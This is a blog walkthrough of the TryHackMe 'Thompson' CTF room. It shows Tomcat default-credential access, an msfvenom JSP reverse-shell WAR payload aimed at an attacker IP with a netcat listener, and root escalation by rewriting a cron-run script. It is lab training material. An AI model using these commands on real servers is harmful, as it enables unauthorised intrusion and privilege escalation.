Try-hack-me

THOMPSON : Walkthrough

Description

Thompson is a boot2root CTF on TryHackMe. It has “Easy” difficulty. Initial access has been done through uploading a reverse shell. Privilege escalation to root could be done through a misconfigured cronjob.

Enumeration

After running a Nmap scan we can see that port 22, 8009 and 8080 is running. On port 8080 Tomcat 8.5.5 is running.

#nmap -sS -sV -A <target IP>


The landing page of the Tomcat server shows us the default Tomcat page.


As expected, the webpage is simply a default tomcat webpage.  From this we want some sort of login portal so we can test some default credentials. 
Tomcat is usually configured with default credentials.  So I was actually just guessing some easy ones, then I was forwarded to this page:

Seeing that, I decided to try those credentials and voila!


We are now in the app! Navigating around the app, we see that we have the ability to upload WAR files:


What that means, for us, is that if we upload a payload, and then navigate to it, we can probably get it to execute our payload!  With this in mind, let's try to get on the box using a reverse shell.  A great resource for creating malicious payloads is the msfvenom cheat sheet.  Using this we can see the necessary format for generating a WAR payload:

#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker's IP> LPORT=4444 -f war > tthm.war


Post uploading the war file we created on the portal, let's activate the listener.

#nc -lnvp 4444


Next we can navigate to “http://<target IP>:8080/tthm/” and get a shell on the box as the tomcat user.
We can now navigate to /home/jack and get the user flag.

Privilege Escalation

Inside Jack’s home folder there are two interesting files. The first one is “id.sh”. It is a bash script that runs the id command and writes the outputs into “test.txt”. Reading “test.txt” shows us that this script was run by root.


Based on these information we can assume that a cronjob is running. To validate our assumption we can read the /etc/crontab file. And indeed the “id.sh” command is run as root inside a cronjob.

For the purpose of this CTF, we just want to read the flag, and so we can simply put a command to read the flag in that file.  So if we just do that and then run it:

#echo '#!/bin/bash' > id.sh

#echo 'cat /root/root.txt > test.txt' >> id.sh
#cat test.txt


And BINGO....!!!


Thank you very much for reading. I hope you find this blog useful.

!!!!Happy Hacking!!!!



Comments

Popular posts from this blog

Try Hack Me - Simple CTF